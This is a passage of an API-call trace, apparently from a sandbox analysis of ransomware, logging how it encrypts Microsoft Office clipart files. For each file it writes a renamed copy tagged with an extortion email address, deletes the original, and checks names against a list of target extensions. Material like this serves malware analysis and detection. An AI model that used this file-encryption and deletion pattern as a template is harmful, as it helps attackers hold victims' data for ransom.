"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.899] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10316) returned 1 [0159.899] CloseHandle (hObject=0x2f0) returned 1 [0159.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0159.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.899] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.899] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0159.900] GetLastError () returned 0x0 [0159.900] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x284c, lpOverlapped=0x0) returned 1 [0160.295] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2850, lpOverlapped=0x0) returned 1 [0160.323] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.323] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.329] SetEndOfFile (hFile=0x3a8) returned 1 [0160.329] CloseHandle (hObject=0x3a8) returned 1 [0160.329] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.329] SetEndOfFile (hFile=0x2f0) returned 1 [0160.330] CloseHandle (hObject=0x2f0) returned 1 [0160.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".doc") returned 4 [0160.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".docx") returned 5 [0160.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.694] lstrlenW (lpString=".pdf") returned 4 [0160.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".xls") returned 4 [0160.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.694] lstrlenW (lpString=".xlsx") returned 5 [0160.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.694] lstrlenW (lpString=".ppt") returned 4 [0160.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".zip") returned 4 [0160.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.694] lstrlenW (lpString=".rar") returned 4 [0160.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".bz2") returned 4 [0160.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".7z") returned 3 [0160.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".dbf") returned 4 [0160.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".1cd") returned 4 [0160.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".jpg") returned 4 [0160.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".doc") returned 4 [0160.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".docx") returned 5 [0160.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.694] lstrlenW (lpString=".pdf") returned 4 [0160.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString=".xls") returned 4 [0160.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.694] lstrlenW (lpString=".xlsx") returned 5 [0160.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.694] lstrlenW (lpString=".ppt") returned 4 [0160.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.694] lstrlenW (lpString=".zip") returned 4 [0160.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.694] lstrlenW (lpString=".rar") returned 4 [0160.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.695] lstrlenW (lpString=".bz2") returned 4 [0160.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.695] lstrlenW (lpString=".7z") returned 3 [0160.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.695] lstrlenW (lpString=".dbf") returned 4 [0160.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.695] lstrlenW (lpString=".1cd") returned 4 [0160.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0160.695] lstrlenW (lpString=".jpg") returned 4 [0160.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.695] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.695] lstrlenW (lpString="HH00334_.WMF") returned 12 [0160.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.488] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1528) returned 1 [0161.488] CloseHandle (hObject=0x308) returned 1 [0161.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0161.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.639] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.955] GetLastError () returned 0x0 [0161.955] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0161.956] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x600, lpOverlapped=0x0) returned 1 [0161.957] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.957] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.957] SetEndOfFile (hFile=0x368) returned 1 [0161.957] CloseHandle (hObject=0x368) returned 1 [0161.958] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.958] SetEndOfFile (hFile=0x308) returned 1 [0161.959] CloseHandle (hObject=0x308) returned 1 [0161.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".doc") returned 4 [0161.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString=".docx") returned 5 [0161.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.960] lstrlenW (lpString=".pdf") returned 4 [0161.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString=".xls") returned 4 [0161.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.960] lstrlenW (lpString=".xlsx") returned 5 [0161.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.960] lstrlenW (lpString=".ppt") returned 4 [0161.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".zip") returned 4 [0161.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.960] lstrlenW (lpString=".rar") returned 4 [0161.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString=".bz2") returned 4 [0161.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString=".7z") returned 3 [0161.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".dbf") returned 4 [0161.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".1cd") returned 4 [0161.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".jpg") returned 4 [0161.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.960] lstrlenW (lpString=".doc") returned 4 [0161.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.960] lstrlenW (lpString=".docx") returned 5 [0161.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.960] lstrlenW (lpString=".pdf") returned 4 [0161.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString=".xls") returned 4 [0161.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.961] lstrlenW (lpString=".xlsx") returned 5 [0161.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.961] lstrlenW (lpString=".ppt") returned 4 [0161.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.961] lstrlenW (lpString=".zip") returned 4 [0161.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.961] lstrlenW (lpString=".rar") returned 4 [0161.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString=".bz2") returned 4 [0161.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString=".7z") returned 3 [0161.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.961] lstrlenW (lpString=".dbf") returned 4 [0161.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.961] lstrlenW (lpString=".1cd") returned 4 [0161.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0161.961] lstrlenW (lpString=".jpg") returned 4 [0161.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.961] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.961] lstrlenW (lpString="HH01875_.WMF") returned 12 [0161.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.961] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2616) returned 1 [0161.961] CloseHandle (hObject=0x308) returned 1 [0161.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0161.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.962] GetLastError () returned 0x0 [0161.962] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa38, lpOverlapped=0x0) returned 1 [0161.963] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa40, lpOverlapped=0x0) returned 1 [0161.964] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.964] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.964] SetEndOfFile (hFile=0x368) returned 1 [0161.964] CloseHandle (hObject=0x368) returned 1 [0161.965] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.965] SetEndOfFile (hFile=0x308) returned 1 [0161.966] CloseHandle (hObject=0x308) returned 1 [0161.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0161.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.966] lstrlenW (lpString=".doc") returned 4 [0161.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.966] lstrlenW (lpString=".docx") returned 5 [0161.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.966] lstrlenW (lpString=".pdf") returned 4 [0161.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.966] lstrlenW (lpString=".xls") returned 4 [0161.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.966] lstrlenW (lpString=".xlsx") returned 5 [0161.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.967] lstrlenW (lpString=".ppt") returned 4 [0161.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".zip") returned 4 [0161.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.967] lstrlenW (lpString=".rar") returned 4 [0161.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".bz2") returned 4 [0161.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".7z") returned 3 [0161.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".dbf") returned 4 [0161.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".1cd") returned 4 [0161.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".jpg") returned 4 [0161.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".doc") returned 4 [0161.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".docx") returned 5 [0161.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.967] lstrlenW (lpString=".pdf") returned 4 [0161.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".xls") returned 4 [0161.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.967] lstrlenW (lpString=".xlsx") returned 5 [0161.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.967] lstrlenW (lpString=".ppt") returned 4 [0161.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".zip") returned 4 [0161.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.967] lstrlenW (lpString=".rar") returned 4 [0161.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".bz2") returned 4 [0161.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString=".7z") returned 3 [0161.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".dbf") returned 4 [0161.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.967] lstrlenW (lpString=".1cd") returned 4 [0161.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0161.968] lstrlenW (lpString=".jpg") returned 4 [0161.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.968] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.968] lstrlenW (lpString="HH01923_.WMF") returned 12 [0161.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.968] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=26706) returned 1 [0161.968] CloseHandle (hObject=0x308) returned 1 [0161.968] GetFileAttributesW (lpFileName="C:\\Program 